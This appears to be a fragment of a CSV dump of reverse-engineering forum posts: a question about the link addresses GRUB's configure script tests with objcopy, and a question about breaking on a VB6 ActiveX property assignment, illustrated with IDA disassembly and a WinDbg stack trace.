+ 0x0000000e c2e7 clr acc.7 ; [0x100001e0:1]=0
+ 0x00000010 c2e8 clr 0xe8.0 ; [0x100001e8:1]=0
+ 0x00000012 c2e9 clr 0xe8.1 ; [0x100001e8:1]=0
+[0x00000000]>
+
+",3473,,3473,,2/2/2019 8:49,2/2/2019 8:49,,,,4,,,,CC BY-SA 4.0
+20525,1,20527,,1/31/2019 21:54,,0,102,"Can you explain to me the significance of link address 2000 8000 7C00? It's in a MACRO from the GRUB configure script, which checks whether OBJCOPY works for absolute addresses.
+ +Here's the snippet of the code:
+ +AC_DEFUN([grub_PROG_OBJCOPY_ABSOLUTE],
+[AC_MSG_CHECKING([whether ${OBJCOPY} works for absolute addresses])
+AC_CACHE_VAL(grub_cv_prog_objcopy_absolute,
+[cat > conftest.c <<\EOF
+void
+cmain (void)
+{
+ *((int *) 0x1000) = 2;
+}
+EOF
+
+if AC_TRY_EVAL(ac_compile) && test -s conftest.o; then :
+else
+ AC_MSG_ERROR([${CC-cc} cannot compile C source code])
+fi
+grub_cv_prog_objcopy_absolute=yes
+for link_addr in 2000 8000 7C00; do
+ if AC_TRY_COMMAND([${CC-cc} ${CFLAGS} -nostdlib -Wl,-N -Wl,-Ttext -Wl,$link_addr conftest.o -o conftest.exec]); then :
+ else
+ AC_MSG_ERROR([${CC-cc} cannot link at address $link_addr])
+ fi
+ if AC_TRY_COMMAND([${OBJCOPY-objcopy} -O binary conftest.exec conftest]); then :
+ else
+ AC_MSG_ERROR([${OBJCOPY-objcopy} cannot create binary files])
+ fi
+ if test ! -f conftest.old || AC_TRY_COMMAND([cmp -s conftest.old conftest]); then
+ mv -f conftest conftest.old
+ else
+ grub_cv_prog_objcopy_absolute=no
+ break
+ fi
+done
+
+",27078,,,,,2/1/2019 8:06,Significance of link address 2000 8000 7C00;,A program is loading an VB6 based ActiveX control that has several property, for example ConnectionString. +The application is dynamically generating the values it provides at runtime, so it is not straightforward to identify through static analysis. While I can dump memory of the process and find some of these values, some are not simple strings so not as straightforward to find this way.
+ +I built a test VB6 program and compiled with symbols with code like this:
+ +Private Sub SetConnectionString()
+aABCFeeList1.ConnectionString = ""Provider=SQLOLEDB;Trusted_Connection=Yes;initial catalog=sql;data source=sqlserver;""
+End Sub
+
+
+In IDA this shows disassembled as:
+ +.text:00401D20 ; void __stdcall Form1::SetConnectionString(Form1 *this)
+.text:00401D20 ?SetConnectionString@Form1@@AAGXXZ proc near ; CODE XREF: .text:004016E0j
+.text:00401D20
+.text:00401D20 var_20 = dword ptr -20h
+.text:00401D20 var_18 = dword ptr -18h
+.text:00401D20 var_14 = dword ptr -14h
+.text:00401D20 var_10 = dword ptr -10h
+.text:00401D20 var_8 = dword ptr -8
+.text:00401D20 var_4 = dword ptr -4
+.text:00401D20 this = dword ptr 8
+.text:00401D20
+.text:00401D20 push ebp
+.text:00401D21 mov ebp, esp
+.text:00401D23 sub esp, 8
+.text:00401D26 push offset ___vbaExceptHandler
+.text:00401D2B mov eax, large fs:0
+.text:00401D31 push eax
+.text:00401D32 mov large fs:0, esp
+.text:00401D39 sub esp, 28h
+.text:00401D3C push ebx
+.text:00401D3D push esi
+.text:00401D3E push edi
+.text:00401D3F mov [ebp+var_8], esp
+.text:00401D42 mov [ebp+var_4], offset dword_4010A0
+.text:00401D49 sub esp, 10h
+.text:00401D4C mov ecx, 8
+.text:00401D51 mov edx, esp
+.text:00401D53 mov eax, offset ___vba@09EB2DB8
+.text:00401D58 push 68030012h
+.text:00401D5D mov [ebp+var_14], 0
+.text:00401D64 mov [edx], ecx
+.text:00401D66 mov ecx, [ebp+var_20]
+.text:00401D69 mov [edx+4], ecx
+.text:00401D6C mov [edx+8], eax
+.text:00401D6F mov eax, [ebp+var_18]
+.text:00401D72 mov [edx+0Ch], eax
+.text:00401D75 mov eax, [ebp+this]
+.text:00401D78 push eax
+.text:00401D79 mov ecx, [eax]
+.text:00401D7B call dword ptr [ecx+2FCh]
+.text:00401D81 lea edx, [ebp+var_14]
+.text:00401D84 push eax
+.text:00401D85 push edx
+.text:00401D86 call ds:__imp____vbaObjSet
+.text:00401D8C push eax
+.text:00401D8D call ds:__imp____vbaLateIdSt
+.text:00401D93 lea ecx, [ebp+var_14]
+.text:00401D96 call ds:__imp____vbaFreeObj
+.text:00401D9C push offset loc_401DAE
+.text:00401DA1 jmp short loc_401DAD
+.text:00401DA3 ; ---------------------------------------------------------------------------
+.text:00401DA3
+.text:00401DA3 loc_401DA3: ; DATA XREF: .text:004010ACo
+.text:00401DA3 lea ecx, [ebp+var_14]
+.text:00401DA6 call ds:__imp____vbaFreeObj
+.text:00401DAC retn
+.text:00401DAD ; ---------------------------------------------------------------------------
+.text:00401DAD
+.text:00401DAD loc_401DAD: ; CODE XREF: Form1::SetConnectionString(void)+81j
+.text:00401DAD retn
+.text:00401DAE ; ---------------------------------------------------------------------------
+.text:00401DAE
+.text:00401DAE loc_401DAE: ; CODE XREF: Form1::SetConnectionString(void):loc_401DADj
+.text:00401DAE ; DATA XREF: Form1::SetConnectionString(void)+7Co
+.text:00401DAE mov ecx, [ebp+var_10]
+.text:00401DB1 pop edi
+.text:00401DB2 pop esi
+.text:00401DB3 xor eax, eax
+.text:00401DB5 mov large fs:0, ecx
+.text:00401DBC pop ebx
+.text:00401DBD mov esp, ebp
+.text:00401DBF pop ebp
+.text:00401DC0 retn 4
+.text:00401DC0 ?SetConnectionString@Form1@@AAGXXZ endp
+
+
+In this case the connection string is being set at line
+ + .text:00401D53 mov eax, offset ___vba@09EB2DB8
+
+
+My question is how I can identify
+ +1) Which ActiveX control this code is configuring +2) Which property on the ActiveX control it is setting
+ +The program I need to find this in is much larger and more complex.
+ +Some other reference:
+ +dword_4010A0 dd 40004h, 2 dup(0)
+
+
+If I could find references to the ActiveX control in question I should be able to configure breakpoints.
+ +I set a breakpoint on module load of the ActiveX control in WinDbg, as I suspect I will need to capture initialization:
+ +0:000> sxe ld FeeList.ocx
+0:000> g
+ModLoad: 75f50000 75f76000 C:\WINDOWS\SysWOW64\IMM32.DLL
+ModLoad: 73cd0000 73cdf000 C:\WINDOWS\SysWOW64\kernel.appcore.dll
+ModLoad: 73c10000 73c8c000 C:\WINDOWS\SysWOW64\uxtheme.dll
+ModLoad: 5fd70000 5fdf6000 C:\WINDOWS\SysWOW64\SXS.DLL
+ModLoad: 74080000 741c3000 C:\WINDOWS\SysWOW64\MSCTF.dll
+ModLoad: 704a0000 704c3000 C:\WINDOWS\SysWOW64\dwmapi.dll
+ModLoad: 76b70000 76bf3000 C:\WINDOWS\SysWOW64\clbcatq.dll
+ModLoad: 615b0000 615cf000 C:\adv2000\FeeList.ocx
+eax=00000000 ebx=00800000 ecx=00000000 edx=00000000 esi=007db8d8 edi=007db820
+eip=7744ab5c esp=0019e034 ebp=0019e080 iopl=0 nv up ei pl nz na po nc
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
+ntdll!NtMapViewOfSection+0xc:
+7744ab5c c22800 ret 28h
+0:000> kv
+ # ChildEBP RetAddr Args to Child
+00 0019e030 7741878f 000001cc ffffffff 007db8f0 ntdll!NtMapViewOfSection+0xc (FPO: [10,0,0])
+01 0019e080 7741856d 007db820 00000000 007db82c ntdll!LdrpMinimalMapModule+0xa0 (FPO: [Non-Fpo])
+02 0019e0a8 77415643 007db820 00000000 007db904 ntdll!LdrpMapDllWithSectionHandle+0x15 (FPO: [Non-Fpo])
+03 0019e0f8 7743418c 0019e2f8 007db820 00000000 ntdll!LdrpMapDllNtFileName+0x12f (FPO: [Non-Fpo])
+04 0019e228 7743393e 9e745ffd 0019e2f8 0019e2f4 ntdll!LdrpMapDllFullPath+0xbc (FPO: [0,71,4])
+05 0019e278 7742aff7 9e745f45 0019e438 0019e4c8 ntdll!LdrpProcessWork+0x10a (FPO: [SEH])
+06 0019e2c0 7741a8eb 00000600 00000004 00000000 ntdll!LdrpLoadDllInternal+0x17c (FPO: [SEH])
+07 0019e40c 77417d42 00000000 00000001 0019e430 ntdll!LdrpLoadDll+0x93 (FPO: [3,71,4])
+08 0019e490 76ee3b58 00002009 0019e4b8 0019e4c8 ntdll!LdrLoadDll+0x92 (FPO: [Non-Fpo])
+09 0019e4d4 762192c8 0019e598 00000000 00002008 KERNELBASE!LoadLibraryExW+0x148 (FPO: [Non-Fpo])
+0a 0019e4f8 76219245 00002008 0019e560 0019e598 combase!LoadLibraryWithLogging+0x1b (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\common\loadfree.cxx @ 160]
+0b 0019e524 762190a2 0019e558 0019e55c 0019e560 combase!CClassCache::CDllPathEntry::LoadDll+0x50 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 2394]
+0c 0019e56c 7621615b 0019e590 007db588 80004005 combase!CClassCache::CDllPathEntry::Create+0x35 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 2235]
+0d 0019e7c4 761fd3de 00000001 0019eb3c 0019e814 combase!CClassCache::CClassEntry::CreateDllClassEntry+0xf3 (FPO: [Non-Fpo]) (CONV: thiscall) [onecore\com\combase\objact\dllcache.cxx @ 1070]
+0e 0019eaf4 761b5239 0019eb1c f57d20f9 0019eb28 combase!CClassCache::GetClassObjectActivator+0x52e (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 5516]
+0f 0019eb28 761b507a 0019f164 761b4f50 0019f85c combase!CClassCache::GetClassObject+0x30 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 5284]
+10 (Inline) -------- -------- -------- -------- combase!CCGetClassObject+0x3d (Inline Function @ 761b507a) (CONV: stdcall) [onecore\com\combase\objact\dllcache.cxx @ 8308]
+11 0019eb94 762088ad 7633b4a4 0019f164 0019f85c combase!CServerContextActivator::GetClassObject+0x12a (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 719]
+12 0019ebd0 7622173b 0019f164 0019f85c 00000000 combase!ActivationPropertiesIn::DelegateGetClassObject+0x8d (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\actprops\actprops.cxx @ 1832]
+13 0019ebf8 76221056 7633b4a8 0019f164 0019f85c combase!CApartmentActivator::GetClassObject+0x6b (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 2089]
+14 0019ec1c 762210d0 7633b4a0 00000001 00000000 combase!CProcessActivator::GCOCallback+0x56 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 1569]
+15 0019ec40 7622115b 7633b4a0 0019ef90 00000000 combase!CProcessActivator::AttemptActivation+0x40 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 1524]
+16 0019ec84 762213aa 7633b4a0 0019ef90 00000000 combase!CProcessActivator::ActivateByContext+0x7b (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 1390]
+17 0019ecb4 762088c0 7633b4a0 0019f164 0019f85c combase!CProcessActivator::GetClassObject+0x6a (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 1213]
+18 0019ecf0 76205907 0019f164 0019f85c 003a0043 combase!ActivationPropertiesIn::DelegateGetClassObject+0xa0 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\actprops\actprops.cxx @ 1832]
+19 0019ef44 7620888d 7633b49c 0019f164 0019f85c combase!CClientContextActivator::GetClassObject+0xd7 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actvator.cxx @ 451]
+1a 0019ef80 76202204 0019f164 0019f85c 76124fa8 combase!ActivationPropertiesIn::DelegateGetClassObject+0x6d (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\actprops\actprops.cxx @ 1884]
+1b 0019f99c 7618cd55 00000000 66030510 00000000 combase!ICoGetClassObject+0x834 (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\objact.cxx @ 1341]
+1c 0019fa50 7618cc3e 00000000 66030510 0019fad0 combase!CComActivator::DoGetClassObject+0xef (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\immact.hxx @ 337]
+*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\SysWOW64\MSVBVM60.DLL -
+1d 0019fa70 66070023 005b5cf4 00000003 00000000 combase!CoGetClassObject+0x4e (FPO: [Non-Fpo]) (CONV: stdcall) [onecore\com\combase\objact\actapi.cxx @ 84]
+WARNING: Stack unwind information not available. Following frames may be wrong.
+1e 0019fa9c 66044e26 005b5cf4 00000003 00000000 MSVBVM60!IID_IVbaHost+0x419e3
+1f 0019fad4 66045557 0000002d 02392574 66012f70 MSVBVM60!IID_IVbaHost+0x167e6
+20 0019fb2c 66048e33 00000001 02392574 0019fb74 MSVBVM60!IID_IVbaHost+0x16f17
+21 0019fb3c 6606d2cc 0000002d 02392574 005b5c70 MSVBVM60!IID_IVbaHost+0x1a7f3
+22 0019fb74 66032695 02392ccc 02392574 02392b1c MSVBVM60!IID_IVbaHost+0x3ec8c
+23 0019fba0 6603291b 024a05bc 0019fbc4 02392ccc MSVBVM60!IID_IVbaHost+0x4055
+24 0019fbc8 6603295e 024a05bc 02392574 00000000 MSVBVM60!IID_IVbaHost+0x42db
+25 0019fbf8 66032737 024a05bc 02392501 00000000 MSVBVM60!IID_IVbaHost+0x431e
+26 0019fc30 660320a5 024a05bc 02392574 02392454 MSVBVM60!IID_IVbaHost+0x40f7
+27 0019fc90 66031ead 024a05bc 00000000 00000000 MSVBVM60!IID_IVbaHost+0x3a65
+28 0019fcb0 660648d1 024a05bc 005b5f9c 00000000 MSVBVM60!IID_IVbaHost+0x386d
+29 0019fd08 6606ff18 0019fd40 00000001 024a05bc MSVBVM60!IID_IVbaHost+0x36291
+2a 0019fd44 6601e703 02392454 00000001 00403010 MSVBVM60!IID_IVbaHost+0x418d8
+2b 0019fe94 66007b3e 024a05bc 00401358 005b05bc MSVBVM60!Zombie_Release+0xfcaa
+2c 0019feb8 66003981 00401358 00000000 00401358 MSVBVM60!BASIC_CLASS_QueryInterface+0xeca
+2d 0019fed8 660036fa 00400000 00400000 0040116c MSVBVM60!ThunRTMain+0x3dd
+2e 0019fef8 66003600 00000000 00400000 0040116c MSVBVM60!ThunRTMain+0x156
+2f 0019ff78 00401176 00401358 75f98484 00321000 MSVBVM60!ThunRTMain+0x5c
+30 0019ff94 77443ab8 00321000 9e744259 00000000 fee3!__vbaS+0xa
+31 0019ffdc 77443a88 ffffffff 7745f2f4 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
+32 0019ffec 00000000 0040116c 00321000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
+
+",2229,,,,,1/31/2019 23:37,Set Breakpoint on ActiveX Property Being Set (No Symbols),